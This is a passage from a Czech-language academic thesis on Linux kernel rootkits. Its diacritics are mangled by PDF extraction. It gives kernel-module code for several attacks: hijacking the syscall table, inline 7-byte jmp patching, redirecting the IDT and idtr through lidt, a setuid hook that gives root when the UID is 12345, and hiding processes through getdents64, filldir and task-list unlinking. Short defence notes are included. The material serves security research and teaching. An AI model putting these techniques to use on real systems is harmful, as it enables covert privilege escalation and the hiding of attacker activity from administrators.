cˇ. v v prˇ´ıloze A. Ko´d, kdy zameˇn´ıme polozˇku v tabulce syste´movy´ch vola´n´ı, vypada´
na´sledovneˇ:
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old_sys_setuid = sys_call_table[__NR_setuid];//Pu˚vodnı´ fce. sys_setuid()
sys_call_table[__NR_setuid] = new_sys_setuid;//Nova´ fce. sys_setuid()
2. Obsluzˇna´ rutina
Syste´mov´ı administra´torˇi brzy zacˇali tabulku syste´movy´ch vola´n´ı kontrolovat. Jednalo
se o test shody s hodnotami, ktere´ meˇla tabulka prˇi prvn´ım zaveden´ı syste´mu. Tedy
v dobeˇ, kdy jesˇteˇ nemohla by´t nijak pozmeˇneˇna. Nutnost´ı u´tocˇn´ıka je zachovat tabulku
v nezmeˇneˇne´m stavu. Prvn´ı mozˇnost je zameˇrˇit se na zmeˇnu toku rˇ´ızen´ı po vyvola´n´ı
obsluzˇne´ rutiny. Toho mu˚zˇeme dosa´hnout absolutn´ım skokem jmp umı´steˇny´m ihned
po zacˇa´tku funkce. Konkre´tneˇ mu˚zˇe j´ıt o ko´d
movl $0,%eax --> po prˇelozˇenı´ "\xb8\x00\x00\x00\x00"
jmp *%eax --> po prˇelozˇenı´ "\xff\xe0"
ktery´ po prˇelozˇen´ı do strojove´ho ko´du da´ vy´sledek "0xb8 0x[sys hack] 0xff 0xe0".
Jedna´ se o prvn´ıch 7B obsluzˇne´ rutiny, ktere´ si mus´ıme prˇed prˇepsa´n´ım skokem zapa-
matovat, abychom je mohli v prˇ´ıpadeˇ potrˇeby obnovit. Cely´ proces vy´meˇny prvn´ıch
7B u funkce sys setuid() vypada´ na´sledovneˇ:
static char old_code[7]; //Pu˚vodnı´ch 7B funkce sys_setuid()
static char new_code[7] = //Novy´ch 7B (jmp) funkce sys_setuid()
"\xb8\x00\x00\x00\x00" //Na mı´sto &new_code[1] musı´me prˇed
"\xff\xe0"; //pouzˇitı´m dosadit adresu volane´ funkce
&new_code[1] = new_sys_setuid; //Dosazenı´ volane´ fce. new_sys_setuid()
_memcpy(old_code,sys_call_table[__NR_setuid],sizeof(old_code));
_memcpy(sys_call_table[__NR_setuid],new_code,sizeof(new_code));
Velmi cˇasto vsˇak potrˇebujeme na´mi upravenou obsluzˇnou rutinu sami volat a jej´ı
na´vratovou hodnotu vyuzˇ´ıt. K tomuto u´cˇelu si mu˚zˇeme na kra´tky´ okamzˇik rutinu
opravit a po navra´cen´ı jej´ıho vy´sledku ji opeˇt zmeˇnit do jej´ı p˚uvodn´ı skokove´ podoby:
_memcpy(sys_call_table[__NR_setuid],old_code,sizeof(old_code));//Oprava
ret=((long (*)(uid_t uid))sys_call_table[__NR_setuid])(uid); //Vola´nı´
_memcpy(sys_call_table[__NR_setuid],new_code,sizeof(new_code));//Zmeˇna
Funkcˇn´ı doprovodny´ program se nacha´z´ı v prˇ´ıloze A pod cˇ´ıslem vi.
3. Rutina syste´move´ho vola´n´ı
Dalˇs´ı mozˇnost´ı je prˇestat origina´ln´ı tabulku syste´movy´ch vola´n´ı pouzˇ´ıvat. Znamena´ to
pro na´s vytvorˇit si vlastn´ı priva´tn´ı kopii tabulky. V takto vznikle´ tabulce jizˇ mu˚zˇeme
prova´deˇt zmeˇny relativneˇ beztrestneˇ12, protozˇe syste´m o ni nevede zˇa´dny´ za´znam.
new_sys_call_table=kmalloc(sizeof(unsig long*)*NR_syscalls,GFP_KERNEL);
_memcpy(new_sys_call_table, old_sys_call_table, //Kopı´rova´nı´ tabulky
sizeof(unsigned long*)*NR_syscalls); //syste´movy´ch vola´nı´
new_sys_call_table[__NR_setuid] = new_sys_setuid; //Nova´ sys_setuid()
12Existuj´ı heuristicke´ metody, ktere´ v pameˇti hledaj´ı struktury podobne´ tabulka´m syste´movy´ch vola´n´ı.
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Zby´va´ jizˇ prˇepsat odkaz v rutineˇ syste´move´ho vola´n´ı tak, aby zacˇala na´mi vytvorˇenou
tabulku pouzˇ´ıvat. Prostudujeme-li zp˚usob, jaky´m z´ıska´va´me adresu tabulky syste´-
movy´ch vola´n´ı pomoci trasova´n´ı (kap. 2.2.1), zjist´ıme, zˇe adresu jizˇ dobrˇe zna´me.
Pu˚vodneˇ jsme ji pouzˇ´ıvali pro zisk odkazu na tabulku syste´movy´ch vola´n´ı. Nyn´ı
prˇep´ıˇseme samotny´ odkaz, aby ukazoval na nasˇ´ı novou tabulku new sys call table.
Demonstracˇn´ı program lze nale´zt pod cˇ. vii prˇ´ıloha A.
V prˇ´ıpadeˇ, zˇe nasˇe architektura podporuje rozsˇ´ıˇren´ı o sysentr (poz. 6), jsme vsˇak
jesˇteˇ neskoncˇili. Je velmi pravdeˇpodobne´, zˇe mnoho programu˚ bude z d˚uvod˚u vysˇsˇ´ı
efektivity vykona´va´n´ı ko´du instrukci sysentr uprˇednostnˇovat prˇed pouzˇit´ı prˇerusˇen´ı
int $0x80. Nezby´va´ nezˇ nale´zt ko´d i te´to rutiny. Studiem souboru entry.S13 dospeˇ-
jeme k za´veˇru, zˇe obsluzˇna´ funkce je z nasˇeho pohledu te´meˇrˇ identicka´ a nacha´z´ı se
neˇkde teˇsneˇ nad funkc´ı rutiny syste´move´ho vola´n´ı. Vyuzˇit´ım jizˇ dobrˇe zna´me´ho heuris-
ticke´ho zp˚usobu, nyn´ı vsˇak opacˇny´m smeˇrem nezˇ v prve´m prˇ´ıpadeˇ (mı´sto walker++
je walker--), nalezneme i jej´ı odkaz do tabulky syste´movy´ch vola´n´ı. Pro kontrolu
spra´vnosti vyhleda´va´n´ı na´m poslouzˇ´ı fakt, zˇe obeˇ rutiny pouzˇ´ıvaj´ı stejnou tabulku.
Vy´sledky umı´steˇn´ı tabulky tedy mus´ı by´t totozˇne´. Rozsˇ´ıˇren´ı prˇedesˇle´ho programu
cˇ. vii, kdy zmeˇn´ıme odkaz na tabulku syste´movy´ch vola´n´ı i v rutineˇ vyvolane´ in-
strukc´ı sysentr, lze nale´zt pod cˇ. viii v prˇ´ıloze A.
4. Tabulka prˇerusˇen´ı
Jinou, pro u´tocˇn´ıka neme´neˇ zaj´ımavou destinac´ı, je tabulka prˇerusˇen´ı. I kdyzˇ by se
mohlo na prvn´ı pohled zda´t, zˇe se jedna´ v podstateˇ o to same´ jako v prˇ´ıpadeˇ tabulky
syste´movy´ch vola´n´ı, nen´ı to tak u´plneˇ pravda. Cely´ tento podsyste´m je mnohem u´zˇeji
sva´za´n s konkre´tn´ı architekturou a operacˇn´ım syste´mem. V drtive´ veˇtsˇineˇ je napsa´n
v assembleru.
Nasˇ´ım c´ılem bude prˇedrˇadit rutineˇ syste´move´ho vola´n´ı rutinu vlastn´ı. V n´ı budeme
testovat prˇeda´vane´ hodnoty a v prˇ´ıpadeˇ vola´n´ı funkce sys setuid() s paramet-
rem uid == 12345 prˇideˇl´ıme pra´veˇ beˇzˇ´ıc´ımu procesu maxima´ln´ı pra´va. Cely´ u´kol
rozdeˇl´ıme na dveˇ cˇa´sti:
(a) Mezicˇla´nek v assembleru – ma´ za u´kol vytvorˇit za´kladn´ı prostrˇed´ı pro vysˇsˇ´ı
programovac´ı jazyk. Jedna´ se prˇedevsˇ´ım o u´schovu a obnovu programovac´ıho




pushl %%eax +-- u´schova prog. modelu
... |
pushl %%ebx /
pushl %%esp //Promeˇnna´ ’regs’ ve funkci pre_system_call()




popl %%eax +-- obnova prog. modelu
popl %%ds |
13Zdrojove´ ko´dy ja´dra arch/i386/kernel/entry.S.
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popl %%es /
jmp *old_int //Pokracˇuj na pu˚vodnı´ rutineˇ syste´move´ho vola´nı´
(b) Funkce v C – mus´ı z registrovy´ch parametr˚u, ktere´ se nyn´ı nacha´zej´ı na za´sobn´ıku
v jasneˇ definovane´m porˇad´ı, identifikovat prˇ´ıpady, kdy ma´ doj´ıt k pozmeˇneˇn´ı
vy´pocˇtu. K parametr˚um prˇistupuje prˇes strukturu struct pt regs * regs, naprˇ.
regs->eax.
asmlinkage void pre_system_call(struct pt_regs * regs)
{
switch(regs->eax) //Zjisti, o jake´ syste´move´ vola´nı´ se jedna´
{
case __NR_setuid: //Sys. vola´nı´ sys_setuid()
if (regs->ebx == 12345) { //Parametr uid == 12345
current->uid=0; //Zmeˇnˇ pra´va probı´hajı´cı´ho







Nyn´ı jizˇ stacˇ´ı doplnit adresy funkc´ı namapovany´ch v pameˇti do funkce new int() a
zmeˇnit prˇ´ıslusˇny´ deskriptor v tabulce prˇerusˇen´ı:
old_int = get_descriptor_offset(idt_system_call);//Pu˚vodnı´ r.sys.vola´nı´
hijack = pre_system_call; //Nasˇe "Funkce v C"
set_descriptor_offset(idt_system_call, new_int); //Nova´ r.sys.vola´nı´
Uka´zkovy´ modul se nacha´z´ı pod cˇ. ix v dodatku A.
5. CPU registr idtr
Mozˇnost´ı modifikovat prˇ´ımo procesorovy´ registr idtr se zat´ım zˇa´dny´ cˇla´nek ani root-
kit nezaby´val. Mu˚zˇeme t´ım dosa´hnout prˇesmeˇrova´n´ı jizˇ v samotne´m za´rodku prˇerusˇen´ı
a dostat pod kontrolu vesˇkere´ na´sledne´ deˇn´ı. Prvn´ım prˇedpokladem je vytvorˇit si
vlastn´ı tabulku prˇerusˇen´ı a v n´ı pak prove´st potrˇebne´ modifikace. Vlastn´ı kopii ta-
bulky prˇerusˇen´ı z´ıska´me na´sledovneˇ:
old_idt_table = get_idt_table(); //Pu˚vodnı´ tabulka prˇerusˇenı´
new_idt_table = (unsigned long*) //Alokace prostoru pro novou
kmalloc(sizeof(struct idt_descriptor)*IDT_SIZE, GFP_KERNEL);
_memcpy(new_idt_table,old_idt_table, //Nova´ tabulka prˇerusˇenı´
sizeof(struct idt_descriptor)*IDT_SIZE);
Zmeˇny v na´mi okop´ırovane´ tabulce prova´d´ıme u´plneˇ stejneˇ jako v prˇedesˇle´ metodeˇ,
kdy jsme u´tocˇili na origina´ln´ı tabulku prˇerusˇen´ı:
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idt_system_call = get_idt_descriptor(new_idt_table, SYSTEM_CALL_NUMBER);
old_int = get_descriptor_offset(idt_system_call); //Pu˚vodnı´ r.sys.vola´nı´
hijack = pre_system_call; //Nasˇe "Funkce v C"
set_descriptor_offset(idt_system_call, new_int); //Nova´ r.sys.vola´nı´
Posledn´ım u´kolem je zmeˇnit odkaz v registru idtr z origina´ln´ı tabulky na tabulku
nasˇi, modifikovanou. To provedeme prˇes instrukci lidt14:
asm volatile("sidt %0" : "=m" (idtr)); //Zisk adresy tabulky prˇerusˇenı´
idtr.idt_table = new_idt_table; //Modifikace adresy tab. prˇerusˇenı´
asm volatile("lidt %0" :: "m" (idtr)); //Ulozˇenı´ adresy tab. prˇerusˇenı´
Uka´zku lze nale´zt v prˇ´ıloze A pod cˇ. x.
Nejcˇasteˇji pouzˇ´ıvany´ zp˚usob u´toku na rozhran´ı syste´movy´ch vola´n´ı je u´tok na tabulku
syste´movy´ch vola´n´ı nebo na rutinu syste´move´ho vola´n´ı. Obl´ıbenost teˇchto zp˚usob˚u tkv´ı
v jejich jednoduchosti a nenesou s sebou zˇa´dna´ omezen´ı. Metoda zmeˇny prvn´ıch 7B v ob-
sluzˇne´ rutineˇ je pouzˇitelna´ na libovolnou funkci. Jej´ı nejveˇtsˇ´ı nevy´hodou je fakt, zˇe jej´ı ko´d
nemohou vykona´vat dva procesy za´rovenˇ (z d˚uvodu ukla´da´n´ı a obnovova´n´ı oneˇch u´vodn´ıch
7B). Tuto kritickou sekci mus´ı chra´nit naprˇ. spinlock. Princip pojmenovany´ jako tabulka
prˇerusˇen´ı patrˇ´ı ke zp˚usob˚um pokrocˇily´m, vyzˇaduj´ıc´ı cˇa´st implementace v assembleru. Jeho
rozsˇ´ıˇren´ım jsme objevili zp˚usob novy´, pojmenovany´ jako CPU registr idtr. Ten je ze vsˇech
zp˚usob˚u nejslozˇiteˇjˇs´ı a v praxi zat´ım nebyl pouzˇit ani diskutova´n.
Mozˇnosti obrany a detekce
Nejobvyklejˇs´ı zp˚usobem ochrany prˇed podobny´m typem u´tok˚u je kontrola vsˇech hodnot,
ktere´ mu˚zˇe u´tocˇn´ık zmeˇnit. Prˇi tom se doporucˇuje cˇ´ıst hodnoty po bytech, nebot’ u´tocˇn´ık
mu˚zˇe u´pravou syste´move´ho vola´n´ı read() maskovat svoji prˇ´ıtomnost v syste´mu. Zaj´ımavou
mysˇlenkou mu˚zˇe by´t i pocˇ´ıta´n´ı dlouhodobe´ho pr˚umeˇru vykonany´ch instrukc´ı15. Vycha´z´ı
z faktu, zˇe jaka´koliv modifikace prˇida´va´ vy´konny´ ko´d a t´ım pa´dem zpomaluje cely´ syste´m.
Uzˇ z podstaty se jedna´ o jakousi fuzzy metodu, kterou je trˇeba podporˇit dalˇs´ımi meˇrˇen´ımi.
2.2.2 Napaden´ı virtua´ln´ıho souborove´ho syste´mu
Jak plyne z kapitoly 1.2.4, nacha´z´ı se virtua´ln´ı souborovy´ syste´m na nizˇsˇ´ı vrstveˇ nezˇ
rozhran´ı syste´movy´ch vola´n´ı. Tvorˇ´ı spojuj´ıc´ı vrstvu mezi abstraktn´ım syste´movy´m vola´n´ım
a skutecˇnou implementac´ı souborove´ho syste´mu (obr. 2.3). Vy´sledkem je, zˇe uzˇivatel je od
souborove´ho syste´mu kompletneˇ odst´ıneˇn a prˇ´ıstup k neˇmu prova´d´ı vy´hradneˇ a jen prˇes
syste´mova´ vola´n´ı. Ty pak na za´kladeˇ umı´steˇn´ı souboru v souborove´m syste´mu vyberou
konkre´tn´ı metodu pro prˇ´ıstup k fyzicke´mu me´diu.
Virtua´ln´ı souborovy´ syste´m rozliˇsuje tyto cˇtyrˇi druhy struktur:
1. superblok – informace o souborove´m syste´mu (filesystem metadata),
2. i-uzel – informace a identifikace souboru (file metadata),
14Instrukce lidt napln´ı registru idtr svy´m 5 slabikovy´m operandem.




















Obra´zek 2.3: Konceptua´ln´ı sche´ma virtua´ln´ıho souborove´ho syste´mu
3. d-za´znam16 – popisuje vazby mezi soubory a adresa´rˇi,
4. soubor – informace, popisuj´ıc´ı aktua´ln´ı stav interakce mezi procesem a souborem. Je
vytvorˇen na zˇa´dost prˇi manipulaci se souborem. Existuje po dobu pra´ce se souborem.
Kazˇdy´ z teˇchto druh˚u definuje krom dat jesˇteˇ mnozˇinu ukazatel˚u na funkce, ktere´
mus´ı kazˇdy´ souborovy´ syste´m prˇed svy´m pouzˇ´ıva´n´ım naplnit. Docha´z´ı tak v podstateˇ
ke vzniku jednoduchy´ch objekt˚u17. Pro nasˇe u´cˇely je nejzaj´ımaveˇjˇs´ı objekt typu soubor
(struct file), jehozˇ metody v podobeˇ souborovy´ch operac´ı (struct file operations)
implementuj´ı syste´mova´ vola´n´ı pracuj´ıc´ı se soubory. Programove´ sche´ma virtua´ln´ıho soubo-
rove´ho syste´mu se nacha´z´ı na obra´zku 2.4. Nejdrˇ´ıve je prˇes funkci fget light() odvozena
adresa prˇ´ıslusˇne´ho souborove´ho objektu. Po kontrole platnosti operace a zjiˇsteˇn´ı jej´ı bez-
16Angl. dentry.
17Viz prvn´ı parametr vsˇech funkc´ı, implementuj´ıc´ı this/self.
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konfliktnosti rw verify area() je vyvola´na c´ılova´ metoda prˇes file->f op->read. Na
























































Obra´zek 2.4: Programove´ sche´ma virtua´ln´ıho souborove´ho syste´mu
Jizˇ v´ıme, zˇe ma´me trˇi typy souborovy´ch syste´mu˚: diskovy´, s´ıt’ovy´ a specia´ln´ı. Zat´ımco
prvn´ı dva slouzˇ´ı pro spra´vu informac´ı vyskytuj´ıc´ı se mimo jaderny´ prostor, specia´ln´ı byl
navrzˇen pra´veˇ za u´cˇelem snadne´ modifikace jaderny´ch struktur. Mezi nejzna´meˇjˇs´ı patrˇ´ı
sysfs prˇipojeny´ do /sys a proc, ktery´ nalezneme v /proc. Na´s bude zaj´ımat prˇedevsˇ´ım
druhy´ zmı´neˇny´, nebot’ obsahuje informace, ktere´ pouzˇ´ıvaj´ı syste´move´ na´stroje prˇi pra´ci
se syste´mem. Prˇestozˇe je samotny´ princip u´toku podobny´ napaden´ı rozhran´ı syste´movy´ch
vola´n´ı, ma´ pro u´tocˇn´ıka dveˇ prˇ´ıjemne´ skutecˇnosti. Prvn´ı je fakt, zˇe cely´ virtua´ln´ı souborovy´
syste´m se nacha´z´ı v jaderne´m prostoru. Uzˇ nen´ı trˇeba rˇesˇit odkazy z uzˇivatelske´ho pro-
storu do jaderne´ho a naopak. Druhy´, pro u´tocˇn´ıka jesˇteˇ vy´znamneˇjˇs´ı, je verˇejna´ exportace
pouzˇ´ıvany´ch symbol˚u. Vycha´z´ı z filozofie virtua´ln´ıho souborove´ho syste´mu, kdy jsou funkce
do struktur doplneˇny azˇ po jejich vzniku. Za´kladn´ı informace pro u´tok jizˇ ma´me, zby´va´
identifikovat slaba´ mı´sta. Obra´zek 2.4 na´m s nimi pomu˚zˇe.
1. Tabulka souborovy´ch operac´ı
Nejjednodusˇsˇ´ı zp˚usob ovlivneˇn´ı chodu virtua´ln´ıho souborove´ho syste´mu je prˇes ta-
bulku souborovy´ch operac´ı. Ta je pro kazˇdy´ souborovy´ syste´m unika´tn´ı a zmeˇnou
v n´ı meˇn´ıme operace prˇ´ıslusˇej´ıc´ı ke vsˇem spravovany´m objekt˚um dane´ho souborove´ho
syste´mu. Jedna´ se o analogii k zmeˇneˇ tabulky syste´movy´ch vola´n´ı (kap. 2.2.1). Tohoto
principu vyuzˇ´ıvaj´ı demonstracˇn´ı programy pod cˇ´ısly xii, xvii a xix dodatku A.
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2. Obsluzˇna´ funkce
Princip uzˇity´ kap. 2.2.1, kdy bylo rˇ´ızen´ı z funkce uneseno pomoc´ı 7B ko´du obsahuj´ıc´ı
nepodmı´neˇnou skokovou instrukci, je aplikovatelny´ na libovolnou funkci. Tato metoda
se hod´ı obzvla´sˇt’ v prˇ´ıpadeˇ, kdy na jednu funkci odkazuje rˇ´ızen´ı z mnoha programovy´ch
mı´st a jejich postupna´ zmeˇna by byla nemozˇna´ nebo prˇ´ıliˇs na´rocˇna´. Mu˚zˇeme ho tedy
pouzˇ´ıt i na funkce virtua´ln´ıho souborove´ho syste´mu. Uka´zku lze nale´zt v prˇ´ıloze A
cˇ. xxii.
3. Ostatn´ı
Zahrnuje u´toky na funkce, ktere´ nejsou v mnozˇineˇ souborovy´ch operac´ı. Prˇ´ıkladem
mu˚zˇe by´t u´nos spojen´ı pod cˇ. xx prˇ´ılohy A.
Mozˇnosti obrany a detekce
U´toky na virtua´ln´ı souborovy´ syste´m jsou mnohem rozmaniteˇjˇs´ı nezˇ u´toky na rozhran´ı
syste´movy´ch vola´n´ı. Du˚vodem je rˇada neprˇ´ımy´ch vola´n´ı a celkova´ slozˇitost podsyste´mu. Po
u´tocˇn´ıkovi ale vyzˇaduje mnohem hlubsˇ´ı znalost napadene´ho syste´mu a pouzˇit´ı jaderny´ch
modul˚u je (alesponˇ zat´ım) te´meˇrˇ nutnost´ı (v´ıce v kap. 4). U´cˇinnou obranou je tedy nepod-
porovat18 jaderne´ moduly.




zdroj˚u a z´ıska´va´n´ı informac´ı
o syste´mu
Aby mohl u´tocˇn´ık napadeny´ syste´m nepozorovaneˇ rˇ´ıdit, mus´ı na neˇm prove´st u´pravy
maskuj´ıc´ı jeho aktivity prˇed zbytkem uzˇivatel˚u. Tato kapitola se zaby´va´ nejcˇasteˇjˇs´ımi
zp˚usoby jaderny´ch u´prav za u´cˇelem skryt´ı neopra´vneˇneˇ drzˇeny´ch prostrˇedk˚u. Jsou to:
skry´va´n´ı proces˚u, skry´va´n´ı adresa´rˇ˚u a soubor˚u, skry´va´n´ı za´znam˚u v souborech, skry´va´n´ı
spojen´ı, prˇesmeˇrova´n´ı spousˇteˇne´ho programu a odposlech. Text vzˇdy poskytuje alterna-
tivu v podobeˇ modifikace rozhran´ı syste´move´ho vola´n´ı, prˇesmeˇrova´n´ı ve virtua´ln´ım soubo-
rove´m syste´mu nebo zmeˇnou v prˇ´ıslusˇne´m jaderne´m podsyste´mu. Diskutuje jejich vy´hody
a nevy´hody. Vy´klad navazuje na kapitolu 2 a vyuzˇ´ıva´ neˇktery´ z princip˚u objasneˇny´ch
v podkapitole 2.2. Prˇi tvorbeˇ kapitoly jsem vycha´zel z poznatk˚u dostupny´ch v cˇla´nc´ıch
[12, 24, 25, 26, 27, 28, 29, 30] a veˇdomost´ı nabity´ch studiem zdrojovy´ch ko´d˚u srovna´vany´ch
rootkit˚u [17, 18, 19, 20, 21, 22].
3.1 Skry´va´n´ı proces˚u
Skry´va´n´ı proces˚u patrˇ´ı k nejza´kladneˇjˇs´ım pozˇadavk˚um na kazˇdy´ rootkitu. U´tocˇn´ık ty-
picky pozˇaduje spousˇteˇt na napadene´m stroji sv˚uj ko´d a t´ım vyuzˇ´ıvat ukorˇisteˇny´ vy´pocˇetn´ı
prostrˇedek. K tomu mus´ı vytvorˇit novy´ proces, ktery´ by v prˇ´ıpadeˇ nemaskova´n´ı se, mohl
prozradit u´tocˇn´ıkovu prˇ´ıtomnost v syste´mu. Kazˇdy´ proces je v syste´mu identifikova´n podle
unika´tn´ıho cˇ´ısla PID. U´tocˇn´ık veˇtsˇinou skry´va´ vesˇkere´ procesy patrˇ´ıc´ı urcˇite´mu uzˇivateli,
poprˇ. procesy obsahuj´ıc´ı v na´zvu specia´ln´ı podrˇeteˇzec.
3.1.1 Syste´move´ vola´n´ı sys getdents{64}
Budeme-li trasovat typicke´ syste´move´ prostrˇedky (ps, top, ...) zjist´ıme, zˇe informace
o beˇzˇ´ıc´ıch procesech sb´ıraj´ı pomoc´ı syste´move´ho vola´n´ı sys getdents{64}() ze specia´ln´ıho
adresa´rˇe /proc. Pro reprezentaci polozˇek je pouzˇita strukturu dirent{64}. Tu budeme
sekvencˇneˇ procha´zet a odstran´ıme za´znamy ty´kaj´ıc´ı se nasˇich proces˚u – adresa´rˇ˚u s nasˇimi
cˇ´ısly PID. Prˇi odstranˇova´n´ı mus´ıme bra´t v u´vahu aktua´ln´ı adresa´rˇ a za´znamy odstranˇovat
pouze pokud se jedna´ o vy´pis z adresa´rˇe /proc. Vy´sledna´ funkce, nahrazuj´ıc´ı p˚uvodn´ı
sys getdents{64}, vypada´ na´sledovneˇ:
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res = old_sys_getdents64(fd, dirent, count); //Vola´nı´ pu˚v. sys_getdents()
..
p = (char *)dirent; //Pomocı´ promeˇnne´ char *p budeme procha´zet vy´sledky
while (p < (char *)dirent + res) { //Procha´zej polozˇky
dir = (struct dirent64 *)p; //Prˇetypova´nı´ na za´znam, s ktery´m pracujeme
if (in_proc(fd) && !_strcmp(dir->d_name, hide_pid)) { //Odstranˇ
_memcpy(p, p + dir->d_reclen, ((char *)dirent+res)-(p+dir->d_reclen));
res -= dir->d_reclen; // Vymazˇ odstraneˇnou polozˇku i z res
continue; // dirent dir/p
} // +==========+=================+=========+
p += dir->d_reclen; // I O.K. I ZPRACOVAT I ZBYVA I
} // +==========+=================+=========+
return res; // ^ ^..dir->d_reclen..^ ^
// \...res................................/
Uka´zkovy´ modul se nacha´z´ı pod cˇ. xi v dodatku A.
3.1.2 Souborova´ operace vfs readdir
Prˇi blizˇsˇ´ım zkouma´n´ı funkc´ı sys getdents{64}() zjiˇst’ujeme, zˇe na´mi upravovana´ struk-
tura dirent{64} vycha´z´ı z vola´n´ı jaderne´ funkce vfs readdir(). Vy´sledek je tedy cˇerpa´n
z virtua´ln´ıho souborove´ho syste´mu a mozˇna´ by bylo snazsˇ´ı prove´st potrˇebne´ zmeˇny prˇ´ımo
tam. Funkce, ktera´ prova´d´ı kop´ırova´n´ı adresa´rˇovy´ch informac´ı do vy´sledne´ promeˇnne´
dirent{64}, se nazy´va´ filldir() a je soucˇa´st´ı funkce vfs readdir(). Funkci filldir()
nahrad´ıme vlastn´ı verz´ı, ktera´ skry´vane´ adresa´rˇe do vy´sledku v˚ubec nezahrne. Nav´ıc od-
pada´ test prˇ´ıslusˇnosti k adresa´rˇi1, nebot’ u´prava se ty´ka´ pra´veˇ a jen souborove´ho syste´mu
/proc. Ko´d, kdy nahrazujeme funkci filldir() vlastn´ı verz´ı, vypada´ na´sledovneˇ:
int new_readdir(struct file * filp, void * dirent, filldir_t filldir)
{
old_filldir = filldir; //Pu˚vodnı´ funkce filldir() pro pozdeˇjsˇı´ uzˇitı´
return old_readdir(filp, dirent, new_filldir); //Jizˇ s nasˇı´ funkcı´
}
static int new_filldir(..., const char * name, int namlen, ...)
{
char namecopy[namlen+1]; //Jme´no nenı´ zakoncˇeno znakem ’\0’,
_memcpy(namecopy, name, namlen); //proto si vytva´rˇı´me vlastnı´ kopii
namecopy[namlen] = ’\0’;
if (!_strcmp(namecopy, hide_pid)) { //Jedna´-li se o adresa´rˇ procesu,
return 0; //vyrˇad’ ho z vy´sledku
}
//Nejedna´-li se o adresa´rˇ procesu, zavolej pu˚vodnı´ funkci
return old_filldir(__buf, name, namlen, offset, ino, d_type);
}
Demonstracˇn´ı program te´to metody je pod cˇ. xii v prˇ´ıloze A.
1Resp. test prˇ´ıslusˇnosti k souborove´mu syste´mu.
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3.1.3 Pla´novacˇ
Ponorˇ´ıme-li se do podstaty prˇideˇlova´n´ı strojove´ho cˇasu proces˚um hloubeˇji, mu˚zˇeme sve´
snazˇen´ı o jejich ukryt´ı smeˇrˇovat na konkre´tn´ı jaderny´ podsyste´m, a to pla´novacˇ. V Linuxu
je reprezentova´n funkc´ı schedule() a jej´ı za´kladn´ı datovou strukturou pro kazˇdy´ procesor
je tzv. fronta beˇzˇ´ıc´ıch proces˚u – struct runqueue. Pomoc´ı n´ı lze z´ıskat vesˇkere´ informace
potrˇebne´ pro rozhodnut´ı o na´sleduj´ıc´ım beˇzˇ´ıc´ım procesu. Nejd˚ulezˇiteˇjˇs´ım poznatkem je, zˇe
tato struktura obsahuje mnozˇinu vsˇech proces˚u asociovany´ch k dane´mu CPU a od okoln´ıho
syste´mu je te´meˇrˇ izolova´na. Du˚vodem je snaha o co nejvysˇsˇ´ı mozˇnou efektivitu algoritmu
O(1) pla´novacˇe. Pro ostatn´ı potrˇeby spojene´ s procesovy´mi operacemi si syste´m udrzˇuje
seznamy jine´. Jedna´ se o r˚uzne´ hashovac´ı tabulky, jejichzˇ kl´ıcˇi jsou procesove´ identifika´tory
PID a vy´sledkem jsou ukazatele na odpov´ıdaj´ıc´ı za´znam task struct, hierarchicke´ vztahy
mezi jednotlivy´mi procesy cˇi obousmeˇrny´ va´zany´ seznam vsˇech proces˚u, vyskytuj´ıc´ıch se
v syste´mu. Pro identifikaci vsˇech podstatny´ch vazeb je nutna´ studie vzniku a ukoncˇen´ı
procesu ve funkc´ıch do fork(), do clone(), do exit() a release task(). Na´sleduj´ıc´ı
pseudoko´dovy´ vy´tah (cˇa´st pojmenovana´ do fork:) zobrazuje alokaci identifika´toru pro-
cesu, duplikaci beˇzˇ´ıc´ıho procesu, inkrementaci uzˇivatelsky´ch cˇ´ıtacˇ˚u a zarˇazen´ı procesu do
rodinny´ch vztah˚u. Na´sleduje vlozˇen´ı procesu do syste´movy´ch seznamu˚ a hashovac´ıch tabu-
lek (zna´zorneˇno barevneˇ, nebot’ z nich budeme proces odstranˇovat). Na konci jsou inkre-
mentova´ny cˇ´ıtacˇe syste´move´. Druhy´ sloupec ukazuje postup prˇi odstranˇova´n´ı procesu ze
syste´mu.
do fork: (+do clone:) do exit: (+release task:)
pid = alloc pidmap(); atomic dec(&p->user->processes);
task struct *p = dup task struct(current); proc pid unhash(p);
atomic inc(&p->user-> count); nr threads--;
atomic inc(&p->user->processes); detach pid(p, PIDTYPE PID);
p->pid = pid; detach pid(p, PIDTYPE TGID);
p->tgid = p->pid; REMOVE LINKS(p);
sched fork(p, clone flags); sched exit(p);
p->real parent = current;
p->parent = p->real parent;
SET LINKS(p); pouzˇite´ seznamy/tabulky
attach pid(p, PIDTYPE TGID, p->tgid); pidhash
attach pid(p, PIDTYPE PID, p->pid); runqueue
nr threads++; process list
total forks++;
Na zneviditelneˇn´ı z vy´pisu beˇzˇ´ıc´ıch proces˚u na´m bude stacˇit odpojit proces z obou-
smeˇrne´ho va´zane´ho seznamu. Stacˇ´ı tedy vyvolat makro REMOVE LINKS. Tento zp˚usob de-
monstruje modul cˇ. xiii v dodatku A.
Pro dokonalejˇs´ı kryt´ı by bylo nutne´ prove´st jesˇteˇ neˇkolik dalˇs´ıch krok˚u. Za prve´ by
bylo nutne´ odstranit evidenci o prˇideˇlene´m cˇ´ısle PID z hashovac´ı tabulky pidhash. T´ımto
zp˚usobem znemozˇn´ıme vesˇkerou meziprocesovou komunikaci, nebot’ prˇi dorucˇova´n´ı infor-
mac´ı proces˚um se cˇerpa´ pra´veˇ z te´to tabulky. Na´sleduj´ı u´cˇtovac´ı promeˇnne´ vypov´ıdaj´ıc´ı
o pocˇtu proces˚u v syste´mu atd... Jak lze prˇedpokla´dat, informace o teˇchto symbolech jizˇ
nebudou exportova´ny do modulove´ho API, a u´tocˇn´ık pro jejich vyhleda´n´ı mus´ı pouzˇ´ıt
jine´ techniky. Nejprˇijatelneˇjˇs´ı cestou se jev´ı pouzˇit´ı jizˇ zminˇovane´ /proc/kallsyms nebo
32
System.map. Vsˇe implementuje prˇ´ıklad cˇ. xiv prˇ´ılohy A.
Posledn´ı zaj´ımavost´ı je prˇepsa´n´ı PID procesu na cˇ´ıslo 0. Jedna´ se o specia´ln´ı oznacˇen´ı
procesu, ktere´ bylo pouzˇito prˇi vytva´rˇen´ı prvn´ıho procesu prˇi nahra´va´n´ı syste´mu. Ve vy´pisech
virtua´ln´ıho souborove´ho syste´mu se s n´ım vsˇak jizˇ nepocˇ´ıta´. Zmeˇn´ıme-li tedy cˇ´ıslo PID na
